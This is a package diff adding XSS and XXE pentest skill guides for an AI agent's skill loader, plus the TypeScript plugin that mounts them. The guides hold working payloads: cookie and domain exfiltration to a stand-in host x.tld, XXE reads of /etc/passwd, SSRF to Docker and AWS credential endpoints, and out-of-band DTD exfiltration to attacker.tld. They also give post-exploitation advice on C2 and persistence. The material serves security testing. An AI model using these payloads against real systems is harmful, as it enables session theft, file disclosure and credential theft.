@gpzhang2001/sharpkit-skills 0.2.1

package/skills/vulnerabilities/xss.md

@@ -0,0 +1,206 @@
+---
+name: xss
+description: XSS testing covering reflected, stored, and DOM-based vectors with CSP bypass techniques
+---
+
+# XSS
+
+Cross-site scripting persists because context, parser, and framework edges are complex. Treat every user-influenced string as untrusted until it is strictly encoded for the exact sink and guarded by runtime policy (CSP/Trusted Types).
+
+## Attack Surface
+
+**Types**
+- Reflected, stored, and DOM-based XSS across web/mobile/desktop shells
+
+**Contexts**
+- HTML, attribute, URL, JS, CSS, SVG/MathML, Markdown, PDF
+
+**Frameworks**
+- React/Vue/Angular/Svelte sinks, template engines, SSR/ISR
+
+**Defenses to Bypass**
+- CSP/Trusted Types, DOMPurify, framework auto-escaping
+
+## Injection Points
+
+**Server Render**
+- Templates (Jinja/EJS/Handlebars), SSR frameworks, email/PDF renderers
+
+**Client Render**
+- `innerHTML`/`outerHTML`/`insertAdjacentHTML`, template literals
+- `dangerouslySetInnerHTML`, `v-html`, `$sce.trustAsHtml`, Svelte `{@html}`
+
+**URL/DOM**
+- `location.hash`/`search`, `document.referrer`, base href, `data-*` attributes
+
+**Events/Handlers**
+- `onerror`/`onload`/`onfocus`/`onclick` and `javascript:` URL handlers
+
+**Cross-Context**
+- postMessage payloads, WebSocket messages, local/sessionStorage, IndexedDB
+
+**File/Metadata**
+- Image/SVG/XML names and EXIF, office documents processed server/client
+
+## Context Encoding Rules
+
+- **HTML text**: encode `< > & " '`
+- **Attribute value**: encode `" ' < > &` and ensure attribute quoted; avoid unquoted attributes
+- **URL/JS URL**: encode and validate scheme (allowlist https/mailto/tel); disallow javascript/data
+- **JS string**: escape quotes, backslashes, newlines; prefer `JSON.stringify`
+- **CSS**: avoid injecting into style; sanitize property names/values; beware `url()` and `expression()`
+- **SVG/MathML**: treat as active content; many tags execute via onload or animation events
+
+## Key Vulnerabilities
+
+### DOM XSS
+
+**Sources**
+- `location.*` (hash/search), `document.referrer`, postMessage, storage, service worker messages
+
+**Sinks**
+- `innerHTML`/`outerHTML`/`insertAdjacentHTML`, `document.write`
+- `setAttribute`, `setTimeout`/`setInterval` with strings
+- `eval`/`Function`, `new Worker` with blob URLs
+
+**Vulnerable Pattern**
+```javascript
+const q = new URLSearchParams(location.search).get('q');
+results.innerHTML = `<li>${q}</li>`;
+```
+Exploit: `?q=<img src=x onerror=fetch('//x.tld/'+document.domain)>`
+
+### Mutation XSS
+
+Leverage parser repairs to morph safe-looking markup into executable code (e.g., noscript, malformed tags):
+```html
+<noscript><p title="</noscript><img src=x onerror=alert(1)>
+<form><button formaction=javascript:alert(1)>
+```
+
+### Template Injection
+
+Server or client templates evaluating expressions (AngularJS legacy, Handlebars helpers, lodash templates):
+```
+{{constructor.constructor('fetch(`//x.tld?c=`+document.cookie)')()}}
+```
+
+### CSP Bypass
+
+- Weak policies: missing nonces/hashes, wildcards, `data:` `blob:` allowed, inline events allowed
+- Script gadgets: JSONP endpoints, libraries exposing function constructors
+- Import maps or modulepreload lax policies
+- Base tag injection to retarget relative script URLs
+- Dynamic module import with allowed origins
+
+### Trusted Types Bypass
+
+- Custom policies returning unsanitized strings; abuse policy whitelists
+- Sinks not covered by Trusted Types (CSS, URL handlers) and pivot via gadgets
+
+## Polyglot Payloads
+
+Keep a compact set tuned per context:
+- **HTML node**: `<svg onload=alert(1)>`
+- **Attr quoted**: `" autofocus onfocus=alert(1) x="`
+- **Attr unquoted**: `onmouseover=alert(1)`
+- **JS string**: `"-alert(1)-"`
+- **URL**: `javascript:alert(1)`
+
+## Framework-Specific
+
+### React
+
+- Primary sink: `dangerouslySetInnerHTML`
+- Secondary: setting event handlers or URLs from untrusted input
+- Bypass patterns: unsanitized HTML through libraries; custom renderers using innerHTML
+
+### Vue
+
+- Sinks: `v-html` and dynamic attribute bindings
+- SSR hydration mismatches can re-interpret content
+
+### Angular
+
+- Legacy expression injection (pre-1.6)
+- `$sce` trust APIs misused to whitelist attacker content
+
+### Svelte
+
+- Sinks: `{@html}` and dynamic attributes
+
+### Markdown/Richtext
+
+- Renderers often allow HTML passthrough; plugins may re-enable raw HTML
+- Sanitize post-render; forbid inline HTML or restrict to safe whitelist
+
+## Special Contexts
+
+### Email
+
+- Most clients strip scripts but allow CSS/remote content
+- Use CSS/URL tricks only if relevant; avoid assuming JS execution
+
+### PDF and Docs
+
+- PDF engines may execute JS in annotations or links
+- Test `javascript:` in links and submit actions
+
+### File Uploads
+
+- SVG/HTML uploads served with `text/html` or `image/svg+xml` can execute inline
+- Verify content-type and `Content-Disposition: attachment`
+- Mixed MIME and sniffing bypasses; ensure `X-Content-Type-Options: nosniff`
+
+## Post-Exploitation
+
+- Session/token exfiltration: prefer fetch/XHR over image beacons for reliability
+- Real-time control: WebSocket C2 with strict command set
+- Persistence: service worker registration; localStorage/script gadget re-injection
+- Impact: role hijack, CSRF chaining, internal port scan via fetch, credential phishing overlays
+
+## Testing Methodology
+
+1. **Identify sources** - URL/query/hash/referrer, postMessage, storage, WebSocket, server JSON
+2. **Trace to sinks** - Map data flow from source to sink
+3. **Classify context** - HTML node, attribute, URL, script block, event handler, JS eval-like, CSS, SVG
+4. **Assess defenses** - Output encoding, sanitizer, CSP, Trusted Types, DOMPurify config
+5. **Craft payloads** - Minimal payloads per context with encoding/whitespace/casing variants
+6. **Multi-channel** - Test across REST, GraphQL, WebSocket, SSE, service workers
+
+## Validation
+
+1. Provide minimal payload and context (sink type) with before/after DOM or network evidence
+2. Demonstrate cross-browser execution where relevant or explain parser-specific behavior
+3. Show bypass of stated defenses (sanitizer settings, CSP/Trusted Types) with proof
+4. Quantify impact beyond alert: data accessed, action performed, persistence achieved
+
+## False Positives
+
+- Reflected content safely encoded in the exact context
+- CSP with nonces/hashes and no inline/event handlers
+- Trusted Types enforced on sinks; DOMPurify in strict mode with URI allowlists
+- Scriptable contexts disabled (no HTML pass-through, safe URL schemes enforced)
+
+## Impact
+
+- Session hijacking and credential theft
+- Account takeover via token exfiltration
+- CSRF chaining for state-changing actions
+- Malware distribution and phishing
+- Persistent compromise via service workers
+
+## Pro Tips
+
+1. Start with context classification, not payload brute force
+2. Use DOM instrumentation to log sink usage; it reveals unexpected flows
+3. Keep a small, curated payload set per context and iterate with encodings
+4. Validate defenses by configuration inspection and negative tests
+5. Prefer impact-driven PoCs (exfiltration, CSRF chain) over alert boxes
+6. Treat SVG/MathML as first-class active content; test separately
+7. Re-run tests under different transports and render paths (SSR vs CSR vs hydration)
+8. Test CSP/Trusted Types as features: attempt to violate policy and record the violation reports
+
+## Summary
+
+Context + sink decide execution. Encode for the exact context, verify at runtime with CSP/Trusted Types, and validate every alternative render path. Small payloads with strong evidence beat payload catalogs.

package/skills/vulnerabilities/xxe.md

@@ -0,0 +1,223 @@
+---
+name: xxe
+description: XXE testing for external entity injection, file disclosure, and SSRF via XML parsers
+---
+
+# XXE
+
+XML External Entity injection is a parser-level failure that enables local file reads, SSRF to internal control planes, denial-of-service via entity expansion, and in some stacks, code execution through XInclude/XSLT or language-specific wrappers. Treat every XML input as untrusted until the parser is proven hardened.
+
+## Attack Surface
+
+**Capabilities**
+- File disclosure: read server files and configuration
+- SSRF: reach metadata services, internal admin panels, service ports
+- DoS: entity expansion (billion laughs), external resource amplification
+
+**Injection Surfaces**
+- REST/SOAP/SAML/XML-RPC, file uploads (SVG, Office)
+- PDF generators, build/report pipelines, config importers
+
+**Transclusion**
+- XInclude and XSLT `document()` loading external resources
+
+## High-Value Targets
+
+**File Uploads**
+- SVG/MathML, Office (docx/xlsx/ods/odt), XML-based archives
+- Android/iOS plist, project config imports
+
+**Protocols**
+- SOAP/XML-RPC/WebDAV/SAML (ACS endpoints)
+- RSS/Atom feeds, server-side renderers and converters
+
+**Hidden Paths**
+- Parameters: "xml", "upload", "import", "transform", "xslt", "xsl", "xinclude"
+- Processing-instruction headers
+
+## Detection Channels
+
+### Direct
+
+- Inline disclosure of entity content in the HTTP response, transformed output, or error pages
+
+### Error-Based
+
+- Coerce parser errors that leak path fragments or file content via interpolated messages
+
+### OAST
+
+- Blind XXE via parameter entities and external DTDs; confirm with DNS/HTTP callbacks
+- Encode data into request paths/parameters to exfiltrate small secrets (hostnames, tokens)
+- Use `interactsh-client -v` for the callback domain. Reference it as the
+  external DTD host (e.g. `<!ENTITY % ex SYSTEM "http://xyz.oast.fun/x.dtd">`)
+  and read the DNS/HTTP hit on the interactsh stdout.
+
+### Timing
+
+- Fetch slow or unroutable resources to produce measurable latency differences (connect vs read timeouts)
+
+## Core Payloads
+
+### Local File
+
+```xml
+<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
+<r>&xxe;</r>
+```
+
+```xml
+<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
+<r>&xxe;</r>
+```
+
+### SSRF
+
+```xml
+<!DOCTYPE x [<!ENTITY xxe SYSTEM "http://127.0.0.1:2375/version">]>
+<r>&xxe;</r>
+```
+
+```xml
+<!DOCTYPE x [<!ENTITY xxe SYSTEM "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI">]>
+<r>&xxe;</r>
+```
+
+### OOB Parameter Entity
+
+```xml
+<!DOCTYPE x [<!ENTITY % dtd SYSTEM "http://attacker.tld/evil.dtd"> %dtd;]>
+```
+
+evil.dtd:
+```xml
+<!ENTITY % f SYSTEM "file:///etc/hostname">
+<!ENTITY % e "<!ENTITY &#x25; exfil SYSTEM 'http://%f;.attacker.tld/'>">
+%e; %exfil;
+```
+
+## Key Vulnerabilities
+
+### Parameter Entities
+
+- Use parameter entities in the DTD subset to define secondary entities that exfiltrate content
+- Works even when general entities are sanitized in the XML tree
+
+### XInclude
+
+```xml
+<root xmlns:xi="http://www.w3.org/2001/XInclude">
+  <xi:include parse="text" href="file:///etc/passwd"/>
+</root>
+```
+
+Effective where entity resolution is blocked but XInclude remains enabled in the pipeline.
+
+### XSLT Document
+
+XSLT processors can fetch external resources via `document()`:
+
+```xml
+<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
+  <xsl:template match="/">
+    <xsl:copy-of select="document('file:///etc/passwd')"/>
+  </xsl:template>
+</xsl:stylesheet>
+```
+
+Targets: transform endpoints, reporting engines (XSLT/Jasper/FOP), xml-stylesheet PI consumers.
+
+### Protocol Wrappers
+
+- Java: `jar:`, `netdoc:`
+- PHP: `php://filter`, `expect://` (when module enabled)
+- Gopher: craft raw requests to Redis/FCGI when client allows non-HTTP schemes
+
+## Bypass Techniques
+
+**Encoding Variants**
+- UTF-16/UTF-7 declarations, mixed newlines
+- CDATA and comments to evade naive filters
+
+**DOCTYPE Variants**
+- PUBLIC vs SYSTEM, mixed case `<!DoCtYpE>`
+- Internal vs external subsets, multi-DOCTYPE edge handling
+
+**Network Controls**
+- If network blocked but filesystem readable, pivot to local file disclosure
+- If files blocked but network open, pivot to SSRF/OAST
+
+## Special Contexts
+
+### SOAP
+
+```xml
+<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
+  <soap:Body>
+    <!DOCTYPE d [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
+    <d>&xxe;</d>
+  </soap:Body>
+</soap:Envelope>
+```
+
+### SAML
+
+- Assertions are XML-signed, but upstream XML parsers prior to signature verification may still process entities/XInclude
+- Test ACS endpoints with minimal probes
+
+### SVG and Renderers
+
+- Inline SVG and server-side SVG→PNG/PDF renderers process XML
+- Attempt local file reads via entities/XInclude
+
+### Office Docs
+
+- OOXML (docx/xlsx/pptx) are ZIPs containing XML
+- Insert payloads into document.xml, rels, or drawing XML and repackage
+
+## Testing Methodology
+
+1. **Inventory consumers** - Endpoints, upload parsers, background jobs, CLI tools, converters, third-party SDKs
+2. **Capability probes** - Does parser accept DOCTYPE? Resolve external entities? Allow network access? Support XInclude/XSLT?
+3. **Establish oracle** - Error shape, length/ETag diffs, OAST callbacks
+4. **Escalate** - Targeted file/SSRF payloads
+5. **Validate parity** - Same parser options must hold across REST, SOAP, SAML, file uploads, and background jobs
+
+## Validation
+
+1. Provide a minimal payload proving parser capability (DOCTYPE/XInclude/XSLT)
+2. Demonstrate controlled access (file path or internal URL) with reproducible evidence
+3. Confirm blind channels with OAST and correlate to the triggering request
+4. Show cross-channel consistency (e.g., same behavior in upload and SOAP paths)
+5. Bound impact: exact files/data reached or internal targets proven
+
+## False Positives
+
+- DOCTYPE accepted but entities not resolved and no transclusion reachable
+- Filters or sandboxes that emit entity strings literally (no IO performed)
+- Mocks/stubs that simulate success without network/file access
+- XML processed only client-side (no server parse)
+
+## Impact
+
+- Disclosure of credentials/keys/configs, code, and environment secrets
+- Access to cloud metadata/token services and internal admin panels
+- Denial of service via entity expansion or slow external resources
+- Code execution via XSLT/expect:// in insecure stacks
+
+## Pro Tips
+
+1. Prefer OAST first; it is the quietest confirmation in production-like paths
+2. When content is sanitized, use error-based and length/ETag diffs
+3. Probe XInclude/XSLT; they often remain enabled after entity resolution is disabled
+4. Aim SSRF at internal well-known ports (kubelet, Docker, Redis, metadata) before public hosts
+5. In uploads, repackage OOXML/SVG rather than standalone XML; many apps parse these implicitly
+6. Keep payloads minimal; avoid noisy billion-laughs unless specifically testing DoS
+7. Test background processors separately; they often use different parser settings
+8. Validate parser options in code/config; do not rely on WAFs to block DOCTYPE
+9. Combine with path traversal and deserialization where XML touches downstream systems
+10. Document exact parser behavior per stack; defenses must match real libraries and flags
+
+## Summary
+
+XXE is eliminated by hardening parsers: forbid DOCTYPE, disable external entity resolution, and disable network access for XML processors and transformers across every code path.

package/src/index.ts

@@ -0,0 +1,89 @@
+/**
+ * Bundled pentest knowledge skills for the sharpkit suite: mounts one
+ * isolated `skill-filesystem` provider over the eleven knowledge categories
+ * migrated verbatim from strix (one directory per category under `skills`),
+ * so the dsh `skill` tool lists and loads them like any other skill source.
+ * @module @gpzhang2001/sharpkit-skills
+ */
+
+import { readdirSync } from 'node:fs'
+import { dirname, join, resolve } from 'node:path'
+import { fileURLToPath } from 'node:url'
+import type { Context } from '@deepseek-ai/cordis'
+import type Schema from '@deepseek-ai/schemastery'
+import z from '@deepseek-ai/schemastery'
+import * as skillFilesystem from '@deepseek-ai/dsh-skill-filesystem'
+
+/** Cordis plugin name. */
+export const name = 'pentest-skills'
+/** Required services: the dsh skill registry. */
+export const inject = ['skills']
+
+/** Provider configuration for the bundled knowledge skills. */
+export interface Config {
+  /** Root holding the category directories; defaults to this package's bundled `skills/` tree. */
+  skillsRoot?: string
+  /** Provider name registered into `ctx.skills`; must be unique in the process. */
+  providerName?: string
+  /** Whether the mounted provider also includes the dsh default project/user roots. */
+  includeDefaultRoots?: boolean
+  /** Whether category directories are watched for catalog changes; bundled assets are static, so this defaults off. */
+  watch?: boolean
+}
+
+export const Config: Schema<Config> = z.object({
+  skillsRoot: z.string(),
+  providerName: z.string().min(1).default('pentest-bundled'),
+  includeDefaultRoots: z.boolean().default(false),
+  watch: z.boolean().default(false),
+})
+
+/**
+ * The bundled skills tree shipped inside this package.
+ * @returns absolute path of the `skills/` directory next to `src/`.
+ */
+export function bundledSkillsRoot(): string {
+  return resolve(dirname(fileURLToPath(import.meta.url)), '../skills')
+}
+
+/**
+ * Resolve the category directories to mount, one skill root each.
+ * @param root - the skills root directory.
+ * @returns absolute category directory paths, each holding at least one Markdown skill.
+ * @throws when the root is missing, unreadable, or holds no category with a skill file.
+ */
+export function categoryRoots(root: string): string[] {
+  let entries
+  try {
+    entries = readdirSync(root, { withFileTypes: true })
+  } catch (error) {
+    throw new Error(`pentest-skills: cannot read skills root ${root}: ${String(error)}`)
+  }
+  const categories: string[] = []
+  for (const entry of entries) {
+    if (!entry.isDirectory()) continue
+    const dir = join(root, entry.name)
+    const hasSkillFile = readdirSync(dir).some(file => file.endsWith('.md'))
+    if (hasSkillFile) categories.push(dir)
+  }
+  if (categories.length === 0) {
+    throw new Error(`pentest-skills: no category directory with a skill file under ${root}`)
+  }
+  return categories.sort()
+}
+
+/**
+ * Mount the isolated bundled-skills provider onto `ctx.skills`.
+ * @param ctx - host context with the skill registry available.
+ * @param config - provider configuration with defaults resolved at this boundary.
+ */
+export function apply(ctx: Context, config: Config = {}): void {
+  const root = resolve(config.skillsRoot ?? bundledSkillsRoot())
+  const customSkillDirs = categoryRoots(root)
+  ctx.plugin(skillFilesystem, {
+    providerName: config.providerName ?? 'pentest-bundled',
+    includeDefaultRoots: config.includeDefaultRoots ?? false,
+    customSkillDirs,
+    watch: config.watch ?? false,
+  })
+}